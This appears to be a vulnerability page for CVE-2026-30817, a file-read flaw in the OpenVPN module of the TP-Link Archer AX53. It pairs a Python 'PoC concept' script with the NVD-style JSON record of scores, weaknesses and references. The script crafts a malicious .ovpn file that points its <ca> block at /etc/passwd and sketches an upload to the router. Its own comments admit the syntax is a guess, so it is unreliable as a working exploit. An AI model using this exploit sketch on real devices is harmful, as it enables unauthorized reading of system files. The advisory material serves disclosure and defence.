CVE-2026-30817

# PoC Concept for CVE-2026-30817 # This script demonstrates how to craft a malicious configuration file. import requests # Target URL (Example, actual endpoint may vary) target_ip = "192.168.0.1" login_url = f"http://{target_ip}/cgi-bin/login" upload_url = f"http://{target_ip}/cgi-bin/openvpn/import" # 1. Authentication (Low privilege required) session = requests.Session() auth_data = {"username": "user", "password": "password"} # session.post(login_url, data=auth_data) # 2. Craft Malicious OpenVPN Config # The vulnerability allows reading arbitrary files via config directives. # We construct a config that attempts to include a sensitive system file. malicious_config = """ client dev tun proto tcp remote 127.0.0.1 1194 # Malicious directive to read file (example syntax based on typical config parsing) # The specific parameter depends on the firmware implementation. <ca> /etc/passwd </ca> """ files = { 'config_file': ('exploit.ovpn', malicious_config, 'application/octet-stream') } # 3. Upload Configuration # response = session.post(upload_url, files=files) # print(response.text) print("Malicious configuration generated. Upload this to the vulnerable OpenVPN module.")

{"cve": {"id": "CVE-2026-30817", "sourceIdentifier": "f23511db-6c3e-4e32-a477-6aa17d310630", "published": "2026-04-08T19:25:20.627", "lastModified": "2026-05-07T16:16:18.660", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An external configuration control vulnerability in the OpenVPN module of TP-Link AX53 v1.0 allows an authenticated adjacent attacker to read arbitrary files when a malicious configuration file is processed. Successful exploitation may allow unauthorized access to arbitrary files on the device, potentially exposing sensitive information.This issue affects AX53 v1.0: before 1.7.1 Build 20260213."}], "metrics": {"cvssMetricV40": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-15"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-610"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:archer_ax53_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.1", "matchCriteriaId": "B096B7BB-7693-4C45-B5F7-8FD6E4969DCE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:archer_ax53:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5F3EA1D9-EB47-4785-9CF0-F2B51945917D"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Third Party Advisory"]}, {"url": "https://www.tp-link.com/en/support/download/archer-ax53/v1/#Firmware", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/my/support/download/archer-ax53/v1/#Firmware", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/us/support/faq/5055/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Vendor Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2305", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}